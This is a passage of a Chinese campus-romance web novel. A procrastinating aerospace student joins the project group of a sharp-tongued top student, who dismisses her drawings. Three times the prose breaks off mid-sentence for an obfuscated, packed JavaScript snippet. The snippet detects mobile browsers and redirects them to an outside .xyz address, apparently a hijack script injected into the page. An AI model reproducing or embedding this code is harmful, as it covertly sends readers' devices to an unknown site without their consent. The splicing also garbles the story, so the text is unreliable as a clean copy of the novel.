“甭谢。”刘老头挠了挠头，“期末考试别求我捞你就行。” 刘老头的手机忽然响了一下，她刚想出门回避，就被刘老头叫住了。 “你等一下。”刘老头对着那头“嗯”了两声，随即起身去开了门。 刘老头亲自开门的人物。 明瑶低头打开手机，想看看管理员有没有把帖子删掉，发现校园墙直接进不去了。 刷新了两次，一直是404。 她愣了一下，正想打开网站重试，忽然被刘老头叫住了。 “明瑶，认识一下，你的组长，许镌。” 明瑶下意识地抬头。 就看到许镌站在她的身后，离她很近的距离，她直接僵在沙发上不敢动了，就被他困在方寸之地，他极具侵略性的气息蔓延过来，垂头看向了她。 四目相对的瞬间，两人一个做贼心虚，一个眼神平静得没有一丝波澜。 “我看你们组人数不够，加上她吧。”刘老头瞅了一眼令瑶，“她还是比较有能力的，这个……” 刘老头摸胡子的动作顿了一下，绞尽脑汁在想她的能力在哪儿。 “嗯……这个，她画图还是可以的。”刘老头像个竭力推销残次品的商贩，“可以帮你们画画草图，建模什么的。” 明瑶坐在原地，手足无措地拽了拽书包带，垂着头只敢看地板。 刘老头看着明瑶低着脑袋一直不敢抬头，“你不舒服？” 明瑶就坡下驴，手一直下移，“肚子疼。” “那你先回去吧。”刘老头吩咐许镌，“你们回去再联系……” 明瑶小鸡啄米般点点头，刚走到门口，帽檐就被男生拽住了。 像是拎住猫的后颈皮，直接就把她拽住了。 “去哪儿？”他的唇角一弯，似笑非笑地：“我送你。” 刘老头愣住了：“你们认识？” 幸亏她戴着口罩，否则别人一定能看到她脸红像是熟透的番茄一样，还是烂番茄。 “认识。”许镌饶有兴致地看着她，看得她直发毛，他才吐出一句话。 “女朋友。” 4. 拖延第四天 明瑶都不知道自己怎么从刘老头的办公室里逃出来的。 刘老头的眼睛当时瞪得像校门口的路灯泡一样，看着被许镌拎住卫衣帽檐动弹不得的明瑶，平时跟机关炮一样的嘴结巴了半天，愣是没挤出一个音节，活脱脱一个瞠目结舌。 就在明瑶打算和刘老头坦白这场乌龙的来龙去脉的时候，许镌偏偏插了嘴，说没事，和明瑶开玩笑呢。 有拿这事开玩笑的吗？ 刘老头的目光在两人身上扫视良久，最后还是让他们走了。 关上门的时候，明瑶还听到小老头一边摸着山羊胡，一边自言自语。 “你们这些年轻人现在都是这么开玩笑的嘛……” 她也知道她理亏，也没立场对许镌生气，拽着书包带就跟在许镌身后，一言不发。 前面的人离停车位只有一步之遥了，戴头盔的动作却忽然顿了一下，回头， “打算上你男朋友的车？” 语气中带着几分戏谑。 明瑶抿了抿唇，带着歉意的心思也淡了几分，她忽然意识到，自从和他见了几面之后，自己就变得莫名其妙起来，难不成他这种卷王专门克她这种小咸鱼？ 可她，好像也有点克他。 谁愿意莫名其妙和一个人传上绯闻，而且还在全校范围内被骂了上百次“渣男”的那种。 相生相克。 于是明瑶强迫自己挤出一个笑脸，语调夸张，“这是你的车吧？” 废话。 对上他视线的同时，她强忍着尴尬继续说，“这车真好。” “人如其车。”明瑶干巴巴地拍着马屁，“你人肯定也挺好的吧，肯定也觉得我的小组设计方案不错吧” “一般。”许镌歪着头看她，“渣男。” “......” 没容得她反应过来的功夫，男生戴上头盔的动作很快，随即发动机车，留给她一个利落的背影，白色的衣摆沿着风吹起，勾勒出他瘦削却不单薄的脊背。 她站在原地瞅着那背影发愣，思考了一下以她的速度一路飞奔，追上许镌的车的可能性接近于零。 更何况就算追上许镌也没什么用，许镌刚才那话她又不是没听懂。 好端端地被挂到校园网上被骂一晚上渣男，无论谁都不会高兴的。 可现在的问题是，即使刘老头出手，许镌依旧不太愿意接收她进组。 作图好，可以帮忙画草图，只不过是刘老头为她遮羞的说辞，航院的学生里，有哪个作图不好呢？ 归根结底，哪个小组都不愿收一个绩点垫底的学生进来。 从这边到宿舍车程半个多小时，她坐在车上绞尽脑汁，也想不到一个可以说服许镌接收她入组的理由。 她正考虑着再找许镌死磨硬泡求他收下她的可行性有多大的时候，她听到手机同时响了一声。 给她发消息的是她高中三年的死党，也在华大上学，文学院的，平时和她聊天开玩笑百无禁忌，发过来的一段小视频，跟过来的还有一个猪猪侠欠揍的表情包。 陶桃：【“大战拖延症”讲座，太适合你了，过来参加吧。】 明瑶百无聊赖地点开了视频，十几秒的画面，忽然闪过了一个熟悉的身影。 敢情他刚才说有事要走，不是敷衍刘老头的。 明瑶连忙戳着屏幕打字问她。 日月:【许镌在你们学院吗？】 那边一直没回复，可能是在听讲座。明瑶等不及了，打了个电话过去，电话刚接通，她还没说话，陶桃的声音迫不及待地从那边传出来。 “我让你看讲座，你怎么看上帅哥了？！” 明瑶无奈：“我找他有正事。” 那边似乎半信半疑：“在”。 陶桃发了个链接过来，“这次讲座是自律社举办的，他好像就是这个社的社长吧。” 可能讲座上是在互动，声音有些嘈杂。 她刚点开链接，还没仔细看讲座的介绍，就听到一个带着点东北口音的主持，穿透力很强，不像是办讲座，更像是传销。 “同学们，有我们社长在，不管你多严重的拖延症，都保管让你脱胎换骨，重新做人！” 陶桃听到这句，“啧”了一声：“那他们是没遇见你。” 明瑶忽略掉心里那股不舒服，咳嗽一声：“背着别人说这话不合适吧。” “我这不当着你面说的嘛。” “……” “这边太吵了，我挂了啊，不和你说了。” 她的手指悬空在屏幕上，看到自律社公众号上的介绍，眼神停留在“招募拖延症志愿者”上，文章的署名上，许镌两个字赫然在目。 明瑶一下子坐直了。 校园巴士到站，车上的乘客陆陆续续地下车。 司机以为她在发呆：“下车了。” 明瑶干笑一声：“我坐回去。” － 她到了会场之后，讲座已经结束了，会场稀稀拉拉地剩下几个工作人员，她戴着口罩过去，只说是对讲座很感兴趣，想当面问社长一些问题。 一个戴着黑框眼镜的男生给她指了路：“好像是带着他的猫去猫咖洗澡了。” 明瑶紧赶慢赶到了猫咖，还是扑了个空，一个头发染得像火龙果的男人坐在前台打游戏，漫不经心地看了她一眼：“有事？” “我找许镌。” “走了。” “请问你有他的联系方式吗？可不可以——” “不可以哦，妹妹。”火龙果看了明瑶一眼，“来这里问他的小姑娘我都要微信的话，那我得给出百八十次了。” “我有事找他。”明瑶说，“我们是一个实践小组的。” “一个小组的会连他微信都没有？” 火龙果啧了一声：“你还不如和我说，你是他女朋友。” 手机响了一下，她解锁看了一眼，是学委在群里＠大家赶紧提交小组成员名单。 明瑶心里忽然闪过一丝急躁。 “我是。” 火龙果一愣。 “我们吵架了，我一气之下把他微信删掉了。”明瑶一本正经地胡说八道，“所以你能把他的微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14953974|160949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信给我吗？” 火龙果看她两秒，指了指她的身后。 “你自己问他吧。” 明瑶一愣，而后，慢半拍地回头。 来猫咖的许镌依旧穿着上午的黑色卫衣，锁骨处的一颗银色铆钉绕过脖颈，发着细闪的光，透出一股莫名的凌厉意味，又被他鼻梁上架的那副眼镜恰当的中和。 他垂眸看向明瑶，眼神透过薄薄的镜片，投在她身上，看得她心里发凉。 更糟糕的是，他身后还跟着几个人。 互联网之外的人们面对八卦肯定像在校园墙上一样很夸张的评头论足，但耐不住那几个男生的探寻的目光，开始有意无意地往她身上瞟。 昨晚校园墙的帖子盖了几百层，谣言传得沸沸扬扬，没想到在这里遇见绯闻女主。 周遭的环境一下就沉寂了下来。 完蛋。 她这算当面造谣了。 “眼睛看掉了。” 明瑶：“？” 乔之淮咳嗽一声，带着其他人的眼睛也不好意思一直盯着明瑶了。 “咳，那个……老许，要不我们先回避一下？”乔之淮摸摸鼻子，“你们单聊。” 许镌看他一眼，没说话。 乔之淮倒是一左一右地拉着身边两个男生出去了，火龙果也冲许镌点了下头，上了楼。 许镌怀里抱着猫，镜片后的眼尾上挑，看她的眼神透着股莫名压迫感。 明瑶对上他的目光，莫名的心虚，连忙和他解释：“我和他开玩笑的。” 他低头盯着她，嘴角微不可察地勾起一抹弧度，眼睫像是倒垂的芦苇荡，也看不出喜怒来，“过来就是为了开玩笑？” 忽然被他盯住，明瑶有些不自在地眨眨眼，“不是。” “我想加入你的小组。” 许镌没说话，只是怀里的猫猫很不应景地喵了一声。 “你不是要找拖延症患者做数据参考写论文吗？”明瑶说，“那你招我进组，好吗？” 她知道他对她这种差生一点兴趣都没有，但她也没有别的办法了，今天不赌一把，这门课就挂科了。 明瑶掐了把手心，清了清嗓子：“你的自律社不是说什么样的拖延症患者都能改头换面，重新做人吗。” 明瑶对上他的眼神，语气软了下来，“我是说，也许我可以做你的样本。” “我求求你帮帮我。”她深吸一口气，“我真的不想做咸鱼了。” “给我个机会吧，可以吗？” 明瑶不知道这番话能不能打动他，这是她的真心话，话说出口，期待大于忐忑。 几乎是一瞬间，她听到身边人微不可察的一丝笑意。 不答应就不答应，也不至于笑话她吧。 他好像能看穿她心里的吐槽一样，忽然低头瞥了她一眼。 许镌沉默良久，沉默到她觉得他不可能松口了。 “如果实在不行，那……” 就在她觉得他不可能答应她的瞬间，他忽然开了口，声音不大，答应得却很利落。 “可以。” 5. 拖延第五天 许镌答应得很干脆，答应回去让她等消息。 明瑶离开得也很干脆。 甚至不能说是干脆了，简直是非常快，快得跟后面有狗追她似的。 虽然后面只有许镌，没有狗。 主要是她怕许镌反悔。 毕竟就算是写论文需要找点参考的样本，他也大可以做点调查问卷，反正全世界又不是只她一个拖延症患者。 只是对她这种吊车尾来说，和年级第一一起做小组作业这种事，其幸运程度和天上掉馅饼差不多。 还是照烧鸡腿味的。 回了宋时薇的信息，知道明瑶有组收留了，也很高兴，说为了庆祝她找到小组了，今天晚上要吃滑蛋饭。 明瑶在校园巴士上吃完了最后一口馅饼，然后带着给宋时薇捎的滑蛋饭回了宿舍。 宿舍的公共区域躺着一个三十寸的大行李箱，里面都是花花绿绿的杂七杂八，也没收拾，明瑶皱了下眉头，刚想开口，床上有人听到动静，探头看下来。 “不好意思，一会儿我就收拾。” 院内规定学生没有特殊原因必须在两周内报到，储怡然就刚好卡在第十三天姗姗来迟，在床上躺着看电影。 “薇薇。” 宋时薇正趴在床上聚精会神地看综艺，随着屏幕里的嘉宾隔着玻璃板红着脸亲吻的瞬间，她跟着发出一声类似喜悦的尖叫。 明瑶敲了敲她的床腿，“薇姐，用膳了。” “收到！” 宋时薇很给面子伸出一个撑衣杆，明瑶只好给她挂上，窸窸窣窣的声音伴着饭香，她一边爬上床，一边觉得自己又有点饿了。 “十二块是吧？”宋时薇一心三用，一边综艺一边吃饭，还不忘打开微信，“我给你转啦。” 明瑶打开微信，还没点开和宋时薇的聊天界面，就看到通讯录上有一个小红点。 新的好友？ 她连忙点开，眼神停在“飞设乔之淮”一行字上，愣了一下，还是通过了好友申请。 也就几秒钟的工夫，那边居然发来了一大堆文字。 乔之淮：【同学你好，我是飞设2301班的，和你一个小组的，老许说让我拉你进组哈。以后有什么消息群里会通知，千万不要屏蔽哦。】 明瑶犹豫了一下，指尖戳着屏幕回复，【请问你是副组长吗？】 乔之淮：【不是啊。】 那他怎么？ 乔之淮：【老乔说懒得管你了，让我拉你进群。】 …… 看来确实挺嫌弃她的。 她还没来得及回复，那边立刻把她拉进了名为“你咋不上天呢”的聊天群里。 群名倒是挺简单粗暴的。 乔之淮还特意＠了一下所有人。 乔之淮：【最后一个组员到位了哈，4班的妹子，明瑶。】 明瑶连忙打了个大家好过去。 一昂：【你好。】 江上：【欢迎。】 Jade：【小熊跳舞jpg.】 只有昵称是X的人没发言。 第六感告诉她这个高冷的X应该是许镌。 算上她，群里一共六个人，都是昵称，都没有改群名片，她只能去大群里一个个对名字。 出于礼貌的考虑，她每个都发送了好友申请。 几个人几乎是秒同意。 除了许镌。 看来确实是有点嫌弃她。 明瑶拧了下床单。 她给刚给几个人备注好，又都端水大师一样每个人都发了一个打招呼的表情包，就听到下面桌子“砰”的一声巨响。 祝晚宁不知道什么时候进来的，面色不悦，电脑和书扔在桌子上，“能不能把箱子挪开？” 行李箱同样也占了她桌子的位置。 储怡然掀开床帘，说了声抱歉，几步踩着床梯下来挪行李箱。 宋时薇发出意味不明的一哼，翻了个身继续看综艺。 “滋啦”一声，是祝晚宁拉了下椅子。 祝晚宁在桌子上打开了电脑，手指在键盘上噼里啪啦的输了密码，看上了线代题的讲解视频。 明瑶看听了两秒，才后知后觉想起来学习通上布置的线代作业拖到现在还没有做。 “薇薇。” 宋时薇转头看她。 “你线代作业写了吗？” 宋时薇点点头：“你抄吗？” 明瑶动作熟练地接过宋时薇递过来的平板，一边警告自己下次一定自己写一边拿出手机对着抄答案。 视线之内忽然出现了一包果脯。 “也借我抄抄呗。” 另一包果脯被储怡然扔到了宋时薇床上。 宋时薇默了两秒，才开口，“那你抄呗。” 明瑶这才把床上的位置也让出一半给了储怡然。 她点了提交之后看微信多了几条未读消息，生怕是上天群有什么通知，连忙点开。 【您和X已经成为好友，可以开始聊天了。】 一边抄答案的储怡然歪着脖子，头已经快伸到她屏幕里了：“这男的谁啊？” 储怡然嗓门挺大，引得宋时薇也探头看她。 明瑶有些不自在，“不是男的。” 储怡然指着头像上趴在机车上的金渐层，半信半疑：“这种摩托车一看就是男生玩的嘛。” “网图。” 宋时薇一把拉开床帘，逼近她的床头，笑容逐渐放肆：“网恋吧？” “......” “心虚了是不是？” 宋时薇直接从那边床上跳过来了，“我看看是何方妖孽？” 明瑶赶紧护住手机，打算直接按灭的瞬间，宋时薇一个饿虎扑食，争夺到了手机的控制权。 手机忽然“嗡”地一响，x给她发送了第一条消息。 明瑶连忙凑过去。 是个链接。 【拖延症程度调查问卷。】 “......” 宋时薇：“这啥呀？” 明瑶摸摸鼻子：“卖课的。” 宋时薇：“？” 储怡然抄完了作业，回了自己的床，宋时薇接过平板，继续回到自己床上刷综艺。 明瑶松了口气，拉上了床帘，隐约感觉到祝晚宁起身经过她的床下，应该是已经看完了网课。 明瑶刚点开问卷，手机忽然又震动了一下，那边终于发过来一条消息。 X：【填。】 还挺惜字如金的。 也不问问她现在是不是有空， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14953975|160949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就让她现在填。 日月：【好的。】 明瑶点开了链接，还不止一套题，是好几套，密密麻麻几百个问题，从手机闹钟响几次才会起床，到学习通布置的作业还剩几天才会写，以及驿站大的快递是不是到站三天以上才会取。 甚至还有一道选择题的问她决定洗澡之前会不会磨磨蹭蹭。 这是正经题目吗？ 明瑶边答边心虚，做完了一套一百问的测试题，简直是汗流浃背了。 后面两套问卷她有一些问题说谎了，选了很多看起来正常的选项，犹豫了片刻，提交了上去。 没过多久，那边终于发过来一条信息。 X：【重做。】 日月：【？】 许镌发过来一张截图，是测试结果，显示测试者的说谎指数过高，不能信任这次测试结果。 明瑶愣了一下，没想到现在的问卷测试都这么智能了。 日月：【我挺实事求是的。】 那边又发过来一张截图，是她做的第一套测试题结果。 满分100，她拿了90分。 明瑶想把他删了。 但盯着屏幕上的90分，还是把后来两套问卷重做了一遍。 诚实地做完了一遍。 日月：【做完了。】 没回复。 明瑶点开软件，看了一下手机里物流信息，在驿站拖了五天还没取的快递居然又被驿站发回去了。 她做了一个小时的思想准备，才放下手机，拖到还有十分钟就熄灯的档口，洗了个澡，简单地擦了擦就上了床。 那边发过来她的测试结果。 三份问卷，90分，92分，97分。 不给满分是怕她骄傲。 尽管做好了心理准备，但第一次很直观地看到测评结果，她还是有点难受。 明瑶在输入框里敲着：那我还有救吗？其实我也不是一开始就有 她还没打完这段话，指尖忽然悬到了半空，咸鱼的心路历程有什么可以和卷王讲的呢，而且她感觉他有点瞧不上她。 于是她把这行字删了，改成简单的三个字。 日月：【严重吗？】 她看到屏幕那边很快就显示起了“正在输入中”，心里还莫名地期待了一下。 X：【没救了。】 明瑶：…… 还真是瞧不上她，说话是真难听。 幸好两个人平时没什么交集，合作完小组作业之后，她永远不想再和他打交道了。 明瑶这么想着，去上了周一的戏剧鉴赏选修课。 上周老师请假，所以这算是他们第一次上课。 这门课不需要书面考试，只用进行一次话剧表演，就能水个高分，但依旧不是很抢手，因为很多社恐的学霸宁愿做一套高数题，也不愿意戴着假发摸着腮红，在讲台上棒读莎士比亚的台词。 用宋时薇的话来说，感觉像动物园的猴子一样。 明瑶其实也不太想来，只是她选课选完了，系统里就只剩高数的奥秘和戏剧鉴赏了，所以她果断地选了戏剧鉴赏。 来上课的学生里，文学院和艺术学院的多，所以她基本上没什么相熟的人。 除了趴在后排补觉的许镌。 6. 拖延第六天 许镌压根没注意到她，趴在后排一动不动，不是死了就是在补觉。 还没上课，一头小卷毛的男老师就站在讲台上板书了。 她来得太晚了，后排的位置基本上都被占满了，只剩许镌附近还有几个位置，像这种选修课坐在前三排无异于自讨苦吃。 但是坐在许镌后面…… 明瑶犹豫了一下，还是走向了第一排。 羊毛卷回头，看到她坐下，却皱起眉：“这位同学，不要一个人坐，一会儿我们要小组讨论的啦。” 明瑶愣了一下，站起身找位置。 羊毛卷努努嘴：“那个男同学旁边不是有位置吗？” 男同学换了个姿势，趴得更舒服了。 明瑶一边想拒绝的理由一边走过去了。 这人一个人几乎占了两个座，趴在左边那张桌子不算，还把包扔在了右边的桌子上，也是他个高，双腿大剌剌岔开，侵占了这边的地盘。 睡着觉还不忘把笔记本掀开，简直是欲盖弥彰。 明瑶小心翼翼地把他的包往旁边挪了挪，轻手轻脚地坐了下来。 她也不敢动，腿撇在一边，只感觉越来越酸。 早八的课，大家都没什么精神，多媒体播放着一部老掉牙的话剧。 《雷雨》。 老话剧总有一股慢悠悠的氛围，带动着不少学生都昏昏欲睡。 明瑶支着下巴看着周朴园和鲁侍萍念着文绉绉的台词。 身旁的男生依旧不动如山，后面的空调冷，他还不忘披了件外套，从她的角度只能看到线条冷峻的侧脸，呼吸声很轻。 话剧里一声惊雷，噼里啪啦的一声，吓得正在出神的明瑶一激灵，连带着旁边的人也动了一下。 许镌半睡半醒之间，忽然感觉有点不对劲，腿边贴着衣料，像是棉麻的材质，带着若有若无的香气，不明显，但那种香气好像一直萦绕在他身边。 睁眼，看到旁边一条腿曲着，牛仔裤包着一双线条流畅的腿，挤占着十分狭小的空间，迷迷糊糊之间他确定这双腿不是他的。 抬头，身边的女生一脸心虚地对上他的眼神。 被吵醒的男生，眼眸中带着强压下去的愠怒，带着起床气。 明瑶莫名地就有些紧张。 “干什么？” 明瑶一时间还没想好怎么说，话剧里的女主忽然一脸正气地怒吼。 “不是我要来的！” 许镌托着下巴，似笑非笑地侧头看她，“那小卷毛让你坐过来的？” “是命！不公平的命指使我来的！” 话剧里的女主继续义愤填膺：“我没有找你！我没有找你！我以为你早死了！我今天没想到这找你，这是天让我今天在这里碰见你！” 明瑶：“……” 他嗤笑一声，看了她一眼，换了个姿势继续趴下。 这睡神趴在桌子上睡了大半节课。 话剧播完，按理来说要小组讨论，前排的学生好歹还装下样子，后排都东倒西歪地睡着了。 “怎么都睡了？” 羊毛卷站在讲台上，脸也跟话剧演员一样，生气的时候，脸上的表情都变得戏剧式的夸张，“都看完这部话剧了，现在我提问几个问题。” 他看着花名册，点了个倒霉蛋回答问题。 “许镌。” 被点名的倒霉蛋依旧趴在桌子上深度睡眠，不动如山。 “许镌来了吗？” 本着乐于助人的精神，明瑶还是踹了下他的凳腿。 “没完了？！” 睡醒的许镌头发炸起，跟刺猬一样，额头上还有淡淡的印子，黑着张肆无忌惮的帅脸，看了明瑶一眼，明瑶低着头咳嗽一声，让他看老师。 许镌眉宇之间带着股很明显的不爽，连带着看羊毛卷的眼神也带着几分戾气。 明明是老师提问学生，老师却看起来更茫然。 “许镌同学？” 他闷闷地“嗯”一声，算是回答。 “你看完这部话剧之后，有什么感想吗？” 他皱着眉看向多媒体，也许是刚醒的缘故，嗓音带着淡淡的沙哑，“挺好的。” 羊毛卷显然不满意于这个回答：“这可是一部非常伟大的话剧作品。” 他的手在空中画了一个幅度很大的圈：“你就没有别的想说的吗？多说一点。” 他揉了揉了太阳穴，耐心好像已经到了极致：“主题深刻、情节精彩、人物鲜明。” 羊毛卷：“……” 明瑶的嘴角微抽。 答得真好。 好就好在，答得跟没回答一样。 这不就是高中语文阅读题通用模板吗？ 后排有人发出一声嗤笑。 羊毛卷面色不虞，拿出点名册，对着上面就要写什么，明瑶连忙举手。 “不用举手。”羊毛卷甩了下头发：“又不是小学生了。” “你们一个组的，到底怎么讨论的？” “老师，他只是没表达好。” 许镌转头看着她，面无表情。 明瑶略过他的目光：“他的意思是，这个故事揭露封建的大家庭的悲剧和旧社会的资本家剥削工人，主题深刻，涉及两代人的感情纠葛，情节精彩，周朴园和鲁侍萍等人物的形象描写得很鲜明。” 羊毛卷蹙眉看了她两秒，最终还是点了点头。 “你是文学院的？” 明瑶摇摇头，小声回答，“我是航院的。” 羊毛卷眼中闪过一丝诧异：“你就当课代表吧。” 明瑶一愣，刚想开口拒绝。 “给你加平时分。” 明瑶立刻就坐下了。 许镌侧身看她，似笑非笑的神情。 明瑶感觉这人挺不懂得感恩的。 第一节课，羊毛卷介绍了一下这门课的要求，每周交一次话剧的观后感，期末自愿结组，表演话剧，话剧内容自选。 羊毛卷撩了一下自己的卷发：“当然，你们要是有想法，自己写剧本也可以。” “另外，以后我的课，如果再有睡觉的，不交作业，第一次平时分扣十分，第二次扣二十分，扣完为止。” 他话说完，不少趴着的人立刻坐直了。 她身旁的那位依旧懒洋洋地趴在桌子上，不动如山。 羊毛卷还想说点什么，可惜下课铃响了。 羊毛卷叫住明瑶：“课代表，过来一下。” 许镌好像看了她一眼，好像又没看。 他给了明瑶一本花名册。 “以后你上课，帮我把玩手机和睡觉的都记下来，不要怕得罪人。”他叹口气，“最近巡课的太多了。” 本来打算玩手机摸鱼的明瑶的脸有点疼。 “这节课睡觉的你先勾上。” 明瑶看了下花名册末尾的名字，默了两秒。 “老师，这些人我还都不认识。” 明瑶打完饭回到宿舍，才回过味来，她这个课代表就是个小报告。 乔之淮在群里发了个文档，她连忙接收后打开。 是小组的初定方案，航天飞船，神舟五号。 她当时的想法就是做个航天飞船的模型，只不过没想到组里决定做神舟五号。 她以为他们会做一个更新一些的模型。 毕竟比起现在航天飞船，神舟五号算是老祖宗了。 乔之淮在群里安排了一下分工，小组一分为二，一半负责作图建模，一半负责制作模型。 “作图不错”的明瑶，自然就被安排到了前一半里。 三个人又拉了个小群，群主乔之淮又在群里贴了一张计划表，一个人每天完成一个部件的进度。 生怕拖累小组的进度，明瑶下午特地去了趟图书馆，把其中底座部分的草图赶了出来。 乔之淮回得很快：【不错。】 明瑶又花了半个小时细化了一下，感觉不错了，拿起手机打算拍照发到群里。 X：【太粗糙。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14953976|160949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 日月：【？】 X：【重画。】 明瑶：....... 在图书馆坐了一下午，落了个重画。 明瑶一怒之下，怒了一下。 然后又从头开始画，加重了细节。 两个小时的工夫发过去，又换回这位大爷一句话。 X：【凑合。】 被他这个“凑合”激的，明瑶熬到了图书馆闭馆之后，回到宿舍，继续琢磨。 乔之淮在群里发了信息，说明天中午有空的时候，去一下猫猫之家，交流一下之后建模的问题。 她立刻发了个“收到”，乔之淮发了个大拇指过来。 乔之淮：【小明同学现在还在用功啊，辛苦了。】 不辛苦，命苦。 明瑶又琢磨了一下，对着网上的图片，研究了一下细节，重新画了一遍，这才收了工。 对面储怡然已经发出了轻微的鼾声，只剩下斜对床的祝晚宁的床帘隐隐约约透出光来，夹杂着轻微的翻书声。 明瑶躺在床上，还在想许镌的凑合，到底是不是在阴阳怪气。 好就是好，不好就是不好。 凑合是什么？ 她知道学霸的要求高，所以不是特意针对她自己，但总感觉他这模棱两可的回答中透着股瞧不上的意思。 又很正常。 她忽然想起宋时薇说一脸佩服的介绍许镌的样子，年级第一，修了双学位，卷王中的卷王。 不能说是卷王。 确实有那么一种人，天生就很自律，即使对普通人来说再难完成的任务，他也能如庖丁解牛般，应付得游刃有余。 床腿轻微地晃动了一下，是宋时薇下去上了个厕所，经过她的床铺的时候，动作一顿，忽然钻了进来，看到她还在画图，神情诧异。 “还学呢？”宋时薇打趣她，“转性了？” 明瑶点点头，忽然愣了一下。 这好像是她来学校一年多之后，第一次没有摆烂拖延。 － 第二天中午一下课，明瑶去食堂买了个饭团，没顾上吃，就骑着学校里的共享小电驴去了猫猫之家。 她生怕自己去晚了，到了之后，才发现她来得是最早的。 火龙果店长坐在前台，瞥了她一眼，继续低头打游戏。 明瑶坐在沙发上小心翼翼地啃着饭团，啃了一半，听到门口的风铃“叮当”一声。 乔之淮两只手拎着两个大袋子，后面还扛着一个大包，跟个力工一样。 身后跟着的男生倒是一脸轻松，闲庭信步的样子跟领导来视察一样。 明瑶连忙站起来打招呼。 “小明……妹妹，别……别客气……坐……啊。” 乔之淮倒是个自来熟，和她认识了几天，知道她年龄比他们小一岁，称呼已经从“小明同学”进化成“小明妹妹”了。 乔之淮被脖子上的大包勒的，眼瞅着这口气就快倒不上来了。 明瑶向前几步，帮他去接东西，动作忽然被身后的男生打断。 “图纸。” 明瑶连忙从包里掏出图纸。 没等她展开，许镌就直接抽走了。 看图纸的时候，他懒散的神态立刻收了起来，戴着眼镜盯着的图纸样子，总算带上了几分认真。 明瑶攥着右手，忽然有点紧张。 乔之淮终于卸下了身上那一堆东西，凑了过去一起看，“这进步挺大啊。” 明瑶忽然听到了一声轻笑，淡淡的，从她头顶飘过。 她抬头，猝不及防和他对视。 从进门到现在，他终于正眼看了她一次。 “有空去趟东门。” 明瑶迟疑地点了点头：“那里有模型材料的店吗？” 他合上图纸，随意地扔到乔之淮身上。 “有个兴趣班。” 明瑶：“？” “在那随便找个学美术的小学生，都不会画成这副德行。” 7. 拖延第七天 话音刚落，前台的火龙果和乔之淮不约而同看向明瑶，又飞速地转过头去，假装什么都没听到。 明瑶看着这位大爷翘着二郎腿坐在沙发上懒洋洋地撸猫，直觉告诉她，她应该发火，或者表达一下自己被埋汰的不满。 但被他的毒舌吐槽惯了，她也没有还嘴的欲望了，反正她说不过她。 只是她有点不服气。 “那你能告诉我，到底画成什么样子才符合你的标准吗？” 这话一出，空气里忽然带了点火/药味。 乔之淮连忙打着圆场：“小明妹妹，我帮你改改就行了。” 明瑶继续坚持：“你要求这么高，谁能达到呢？” 乔之淮看她一眼，还想继续和稀泥，“其实……” 许镌打断他：“给她。” 乔之淮叹了口气，从包里掏出一张图纸。 明瑶接过来的时候还有点不服气，展开看了一眼，忍不住吸了口气。 真的不输专业的画手。 精细度很高，甚至按照比例尺，都标好了尺寸。 明瑶拿着自己的草图和他的草图放在一起。 对比之下，她的草图，是真的很草。 “这都画不好。” 他像大少爷一样没骨头似的靠在沙发上，上下打量她，眼神中透露出一丝罕见的不解，“你在航院这一年学的都是莎士比亚吗？” 明瑶抿抿唇，没说话。 乔之淮坐在一边，看着明瑶站在一边像个小学生一样挨训，有点说不过去，“老许，你不能对每个人要求都这么高哈，我看小明妹妹画得不错了。” “达不到要求就退出。”他的耐心像是已经消耗到了极致，抱着猫起身上楼。 经过明瑶身旁，大少爷侧头看了已经在心里开骂的明瑶一眼。 “骂我？” 离她很近的距离，呼出来的气息打在她脖子上，引得她莫名地起了一身战栗。 “是你求着进我的组的，妹妹。” 说完，他瞅了一眼愣在原地的明瑶，转身上了楼。 － 即使身为差生，被人这么埋汰，多少也是会被激出几分自尊的。 讲台上的刘老头可能是喝多了，正激情四射地讲述着自己年轻的时候因为参加某个重大航天科研项目而错过一次职称晋升的遗憾往事，神态和路边喝酒吹牛侃大山的老头没啥区别。 这个故事他总再三谈起，只是每次的版本都不太一样，神舟一号、嫦娥一号到天宫一号，让人怀疑内容的真实性，说高兴了之后中间插播一点课本上的内容，和身旁储怡然的呼噜声交相辉映。 明瑶坐在后排盯着刘老头脑袋上中央支援地方的几根头发发呆，左耳朵进右耳朵出。 她心里有股有名火在乱窜。 小组作业要到期中才能结束，她觉得等不到期中，她就得被许镌给损死了。 手机夹在课本里，百无聊赖地看着网上华大老师的网课，主打一个亡羊补牢。 她的脑子根本塞不进去东西，一看到视频里的建模图，就想起来许镌嫌弃又傲慢的眼神，那股刚压下去的不舒服又不可阻挡的卷土重来。 毕竟她长这么大，第一次被人损得那么难听。 更让她生气的是，人家确实比她强。 